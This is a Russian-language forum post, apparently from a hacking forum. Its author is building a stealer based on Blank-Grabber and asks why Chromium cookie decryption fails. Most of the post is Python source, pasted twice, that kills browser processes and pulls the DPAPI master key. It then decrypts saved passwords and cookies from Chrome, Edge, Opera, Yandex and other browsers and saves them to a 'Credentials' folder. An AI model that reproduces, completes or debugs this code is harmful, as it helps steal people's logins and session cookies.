I cant decipher the cookies correctly

Всем привет, решил написать свой *******, но столкнулся с проблемой что он не хочет правильно дешифровать куки хромиум браузеров, за основу брал ******* Blank-Grabber (Сам ******* уже не рабочий).

В коде так же есть функция расшифровки логинов и паролей которые были сохранены, и данная функция прекрасно работает.

Для примера покажу скрины с проблемой где видно что файл не до конца был расшифрован.

В результате получаю:


Когда нужно получить:


Если у кого-то есть идеи как решить проблему буду благодарен.

Код

class Browsers:

class Chromium:
BrowserPath: str = None
EncryptionKey: bytes = None

def __init__(self, browserPath: str) -> None:
if not os.path.isdir(browserPath):
raise NotADirectoryError('Browser path not found!')
self.BrowserPath = browserPath

def GetEncryptionKey(self) -> bytes | None:
if self.EncryptionKey is not None:
return self.EncryptionKey
else:
localStatePath = os.path.join(self.BrowserPath, 'Local State')
if os.path.isfile(localStatePath):
with open(localStatePath, encoding='utf-8', errors='ignore') as file:
jsonContent: dict = json.load(file)
encryptedKey: str = jsonContent['os_crypt']['encrypted_key']
encryptedKey = base64.b64decode(encryptedKey.encode())[5:]
self.EncryptionKey = Syscalls.CryptUnprotectData(encryptedKey)
return self.EncryptionKey
else:
return None

def Decrypt(self, buffer: bytes, key: bytes) -> str:
# Если данные в формате v10/v11 (AES-GCM)
version = buffer.decode(errors='ignore')
if version.startswith(('v10', 'v11')):
iv = buffer[3:15] # Первые 12 байт — IV
cipherText = buffer[15:-16] # Шифротекст без тега
tag = buffer[-16:] # Последние 16 байт — тег GCM

cipher = Cipher(algorithms.AES(key), modes.GCM(iv, tag), backend=default_backend())
decryptor = cipher.decryptor()
decrypted = decryptor.update(cipherText) + decryptor.finalize()
return decrypted.decode(errors='ignore')
else: # Для старых версий (не поддерживающих AES-GCM) используем DPAPI
return str(Syscalls.CryptUnprotectData(buffer))

def GetCookies(self) -> list[tuple[str, str, str, str, int]]:
encryptionKey = self.GetEncryptionKey()
cookies = list()
if encryptionKey is None:
return cookies

cookiesFilePaths = list()
for root, _, files in os.walk(self.BrowserPath):
for file in files:
if file.lower() == 'cookies':
filepath = os.path.join(root, file)
cookiesFilePaths.append(filepath)

for path in cookiesFilePaths:
tempfile = os.path.join(os.getenv('temp'), Utility.GetRandomString(10) + '.tmp')
try:
shutil.copy(path, tempfile)
except Exception:
continue
db = sqlite3.connect(tempfile)
db.text_factory = lambda b: b.decode(errors='ignore')
cursor = db.cursor()
try:
results = cursor.execute(
'SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies').fetchall()
for host, name, path, cookie, expiry in results:
# Расшифровка куков с использованием ключа
cookie = self.Decrypt(cookie, encryptionKey)
if host and name and cookie:
cookies.append((host, name, path, cookie, expiry))
except Exception as e:
Logger.error(f"Error processing cookies from {path}: {e}")
cursor.close()
db.close()
os.remove(tempfile)

return cookies

def GetPasswords(self) -> list[tuple[str, str, str]]:
encryptionKey = self.GetEncryptionKey()
passwords = list()
if encryptionKey is None:
return passwords

loginFilePaths = []
for root, _, files in os.walk(self.BrowserPath):
for file in files:
if file.lower() == 'login data':
loginFilePaths.append(os.path.join(root, file))

for path in loginFilePaths:
tempfile = os.path.join(os.getenv('temp'), Utility.GetRandomString(10) + '.tmp')
try:
shutil.copy(path, tempfile)
db = sqlite3.connect(tempfile)
cursor = db.cursor()
results = cursor.execute('SELECT origin_url, username_value, password_value FROM logins').fetchall()

for url, username, password in results:
password = self.Decrypt(password, encryptionKey)
if url and username and password:
passwords.append((url, username, password))

cursor.close()
db.close()
os.remove(tempfile)
except Exception:
continue

return passwords


def StealBrowserData(temp_dir) -> None:
if not any(
(Settings.CaptureCookies, Settings.CapturePasswords, Settings.CaptureHistory, Settings.CaptureAutofills)):
return

Logger.info('Stealing browser data')
threads: list[Thread] = []
paths = {
'Chrome': (os.path.join(os.getenv('localappdata'), 'Google', 'Chrome', 'User Data'), 'chrome'),
'Chromium': (os.path.join(os.getenv('localappdata'), 'Chromium', 'User Data'), 'chromium'),
'Edge': (os.path.join(os.getenv('localappdata'), 'Microsoft', 'Edge', 'User Data'), 'msedge'),
'Opera': (os.path.join(os.getenv('appdata'), 'Opera Software', 'Opera Stable'), 'opera'),
'Opera GX': (os.path.join(os.getenv('appdata'), 'Opera Software', 'Opera GX Stable'), 'operagx'),
'Yandex': (os.path.join(os.getenv('localappdata'), 'Yandex', 'YandexBrowser', 'User Data'), 'yandex')
}

for name, item in paths.items():
path, procname = item
if os.path.isdir(path):
profile_path = path

def run(name, profile_path, procname, temp_dir):
try:
Utility.TaskKill(procname)
browser = Browsers.Chromium(profile_path)
saveToDir = os.path.join(temp_dir, 'Credentials', name)
passwords = browser.GetPasswords() if Settings.CapturePasswords else None
cookies = browser.GetCookies() if Settings.CaptureCookies else None
history = browser.GetHistory() if Settings.CaptureHistory else None
autofills = browser.GetAutofills() if Settings.CaptureAutofills else None

if passwords or cookies:
os.makedirs(saveToDir, exist_ok=True)

if passwords:
output = ['URL: {}\nUsername: {}\nPassword: {}\n'.format(*x) for x in passwords]
with open(os.path.join(saveToDir, '{} Passwords.txt'.format(name)), 'w',
encoding='utf-8') as file:
file.write(Separator.lstrip() + Separator.join(output))

if cookies:
output = ['{}\t{}\t{}\t{}\t{}\t{}\t{}'.format(host, str(expiry != 0).upper(), cpath,
str(not host.startswith('.')).upper(), expiry,
cname, cookie) for
(host, cname, cpath, cookie, expiry) in cookies]
with open(os.path.join(saveToDir, '{} Cookies.txt'.format(name)), 'w',
encoding='utf-8') as file:
file.write('\n'.join(output))


except Exception as e:
Logger.error(f"Error while stealing data from {name}: {e}")

t = Thread(target=run, args=(name, profile_path, procname, temp_dir))
t.start()
threads.append(t)

for thread in threads:
thread.join()


class Syscalls:

@staticmethod
def CreateMutex(mutex: str) -> bool:
kernel32 = ctypes.windll.kernel32
mutex = kernel32.CreateMutexA(None, False, mutex)
return kernel32.GetLastError() != 183

@staticmethod
def CryptUnprotectData(encrypted_data: bytes, optional_entropy: str=None) -> bytes:

class DATA_BLOB(ctypes.Structure):
_fields_ = [('cbData', ctypes.c_ulong), ('pbData', ctypes.POINTER(ctypes.c_ubyte))]
pDataIn = DATA_BLOB(len(encrypted_data), ctypes.cast(encrypted_data, ctypes.POINTER(ctypes.c_ubyte)))
pDataOut = DATA_BLOB()
pOptionalEntropy = None
if optional_entropy is not None:
optional_entropy = optional_entropy.encode('utf-16')
pOptionalEntropy = DATA_BLOB(len(optional_entropy), ctypes.cast(optional_entropy, ctypes.POINTER(ctypes.c_ubyte)))
if ctypes.windll.Crypt32.CryptUnprotectData(ctypes.byref(pDataIn), None, ctypes.byref(pOptionalEntropy) if pOptionalEntropy is not None else None, None, None, 0, ctypes.byref(pDataOut)):
data = (ctypes.c_ubyte * pDataOut.cbData)()
ctypes.memmove(data, pDataOut.pbData, pDataOut.cbData)
ctypes.windll.Kernel32.LocalFree(pDataOut.pbData)
return bytes(data)
raise ValueError('Invalid encrypted_data provided!')[/spoiler]

Python

class Browsers:



    class Chromium:

        BrowserPath: str = None

        EncryptionKey: bytes = None



        def __init__(self, browserPath: str) -> None:

            if not os.path.isdir(browserPath):

                raise NotADirectoryError('Browser path not found!')

            self.BrowserPath = browserPath



        def GetEncryptionKey(self) -> bytes | None:

            if self.EncryptionKey is not None:

                return self.EncryptionKey

            else:

                localStatePath = os.path.join(self.BrowserPath, 'Local State')

                if os.path.isfile(localStatePath):

                    with open(localStatePath, encoding='utf-8', errors='ignore') as file:

                        jsonContent: dict = json.load(file)

                    encryptedKey: str = jsonContent['os_crypt']['encrypted_key']

                    encryptedKey = base64.b64decode(encryptedKey.encode())[5:]

                    self.EncryptionKey = Syscalls.CryptUnprotectData(encryptedKey)

                    return self.EncryptionKey

                else:

                    return None



        def Decrypt(self, buffer: bytes, key: bytes) -> str:

            # Если данные в формате v10/v11 (AES-GCM)

            version = buffer.decode(errors='ignore')

            if version.startswith(('v10', 'v11')):

                iv = buffer[3:15]  # Первые 12 байт — IV

                cipherText = buffer[15:-16]  # Шифротекст без тега

                tag = buffer[-16:]  # Последние 16 байт — тег GCM



                cipher = Cipher(algorithms.AES(key), modes.GCM(iv, tag), backend=default_backend())

                decryptor = cipher.decryptor()

                decrypted = decryptor.update(cipherText) + decryptor.finalize()

                return decrypted.decode(errors='ignore')

            else:  # Для старых версий (не поддерживающих AES-GCM) используем DPAPI

                return str(Syscalls.CryptUnprotectData(buffer))



        def GetCookies(self) -> list[tuple[str, str, str, str, int]]:

            encryptionKey = self.GetEncryptionKey()

            cookies = list()

            if encryptionKey is None:

                return cookies



            cookiesFilePaths = list()

            for root, _, files in os.walk(self.BrowserPath):

                for file in files:

                    if file.lower() == 'cookies':

                        filepath = os.path.join(root, file)

                        cookiesFilePaths.append(filepath)



            for path in cookiesFilePaths:

                tempfile = os.path.join(os.getenv('temp'), Utility.GetRandomString(10) + '.tmp')

                try:

                    shutil.copy(path, tempfile)

                except Exception:

                    continue

                db = sqlite3.connect(tempfile)

                db.text_factory = lambda b: b.decode(errors='ignore')

                cursor = db.cursor()

                try:

                    results = cursor.execute(

                        'SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies').fetchall()

                    for host, name, path, cookie, expiry in results:

                        # Расшифровка куков с использованием ключа

                        cookie = self.Decrypt(cookie, encryptionKey)

                        if host and name and cookie:

                            cookies.append((host, name, path, cookie, expiry))

                except Exception as e:

                    Logger.error(f"Error processing cookies from {path}: {e}")

                cursor.close()

                db.close()

                os.remove(tempfile)



            return cookies



        def GetPasswords(self) -> list[tuple[str, str, str]]:

            encryptionKey = self.GetEncryptionKey()

            passwords = list()

            if encryptionKey is None:

                return passwords



            loginFilePaths = []

            for root, _, files in os.walk(self.BrowserPath):

                for file in files:

                    if file.lower() == 'login data':

                        loginFilePaths.append(os.path.join(root, file))



            for path in loginFilePaths:

                tempfile = os.path.join(os.getenv('temp'), Utility.GetRandomString(10) + '.tmp')

                try:

                    shutil.copy(path, tempfile)

                    db = sqlite3.connect(tempfile)

                    cursor = db.cursor()

                    results = cursor.execute('SELECT origin_url, username_value, password_value FROM logins').fetchall()



                    for url, username, password in results:

                        password = self.Decrypt(password, encryptionKey)

                        if url and username and password:

                            passwords.append((url, username, password))



                    cursor.close()

                    db.close()

                    os.remove(tempfile)

                except Exception:

                    continue



            return passwords





def StealBrowserData(temp_dir) -> None:

    if not any(

            (Settings.CaptureCookies, Settings.CapturePasswords, Settings.CaptureHistory, Settings.CaptureAutofills)):

        return



    Logger.info('Stealing browser data')

    threads: list[Thread] = []

    paths = {

        'Chrome': (os.path.join(os.getenv('localappdata'), 'Google', 'Chrome', 'User Data'), 'chrome'),

        'Chromium': (os.path.join(os.getenv('localappdata'), 'Chromium', 'User Data'), 'chromium'),

        'Edge': (os.path.join(os.getenv('localappdata'), 'Microsoft', 'Edge', 'User Data'), 'msedge'),

        'Opera': (os.path.join(os.getenv('appdata'), 'Opera Software', 'Opera Stable'), 'opera'),

        'Opera GX': (os.path.join(os.getenv('appdata'), 'Opera Software', 'Opera GX Stable'), 'operagx'),

        'Yandex': (os.path.join(os.getenv('localappdata'), 'Yandex', 'YandexBrowser', 'User Data'), 'yandex')

    }



    for name, item in paths.items():

        path, procname = item

        if os.path.isdir(path):

            profile_path = path



            def run(name, profile_path, procname, temp_dir):

                try:

                    Utility.TaskKill(procname)

                    browser = Browsers.Chromium(profile_path)

                    saveToDir = os.path.join(temp_dir, 'Credentials', name)

                    passwords = browser.GetPasswords() if Settings.CapturePasswords else None

                    cookies = browser.GetCookies() if Settings.CaptureCookies else None

                    history = browser.GetHistory() if Settings.CaptureHistory else None

                    autofills = browser.GetAutofills() if Settings.CaptureAutofills else None



                    if passwords or cookies:

                        os.makedirs(saveToDir, exist_ok=True)



                        if passwords:

                            output = ['URL: {}\nUsername: {}\nPassword: {}\n'.format(*x) for x in passwords]

                            with open(os.path.join(saveToDir, '{} Passwords.txt'.format(name)), 'w',

                                      encoding='utf-8') as file:

                                file.write(Separator.lstrip() + Separator.join(output))



                        if cookies:

                            output = ['{}\t{}\t{}\t{}\t{}\t{}\t{}'.format(host, str(expiry != 0).upper(), cpath,

                                                                          str(not host.startswith('.')).upper(), expiry,

                                                                          cname, cookie) for

                                      (host, cname, cpath, cookie, expiry) in cookies]

                            with open(os.path.join(saveToDir, '{} Cookies.txt'.format(name)), 'w',

                                      encoding='utf-8') as file:

                                file.write('\n'.join(output))





            except Exception as e:

                Logger.error(f"Error while stealing data from {name}: {e}")



        t = Thread(target=run, args=(name, profile_path, procname, temp_dir))

        t.start()

        threads.append(t)



for thread in threads:

    thread.join()





class Syscalls:



    @staticmethod

    def CreateMutex(mutex: str) -> bool:

        kernel32 = ctypes.windll.kernel32

        mutex = kernel32.CreateMutexA(None, False, mutex)

        return kernel32.GetLastError() != 183



    @staticmethod

    def CryptUnprotectData(encrypted_data: bytes, optional_entropy: str=None) -> bytes:



        class DATA_BLOB(ctypes.Structure):

            _fields_ = [('cbData', ctypes.c_ulong), ('pbData', ctypes.POINTER(ctypes.c_ubyte))]

        pDataIn = DATA_BLOB(len(encrypted_data), ctypes.cast(encrypted_data, ctypes.POINTER(ctypes.c_ubyte)))

        pDataOut = DATA_BLOB()

        pOptionalEntropy = None

        if optional_entropy is not None:

            optional_entropy = optional_entropy.encode('utf-16')

            pOptionalEntropy = DATA_BLOB(len(optional_entropy), ctypes.cast(optional_entropy, ctypes.POINTER(ctypes.c_ubyte)))

        if ctypes.windll.Crypt32.CryptUnprotectData(ctypes.byref(pDataIn), None, ctypes.byref(pOptionalEntropy) if pOptionalEntropy is not None else None, None, None, 0, ctypes.byref(pDataOut)):

            data = (ctypes.c_ubyte * pDataOut.cbData)()

            ctypes.memmove(data, pDataOut.pbData, pDataOut.cbData)

            ctypes.windll.Kernel32.LocalFree(pDataOut.pbData)

            return bytes(data)

        raise ValueError('Invalid encrypted_data provided!')[/spoiler]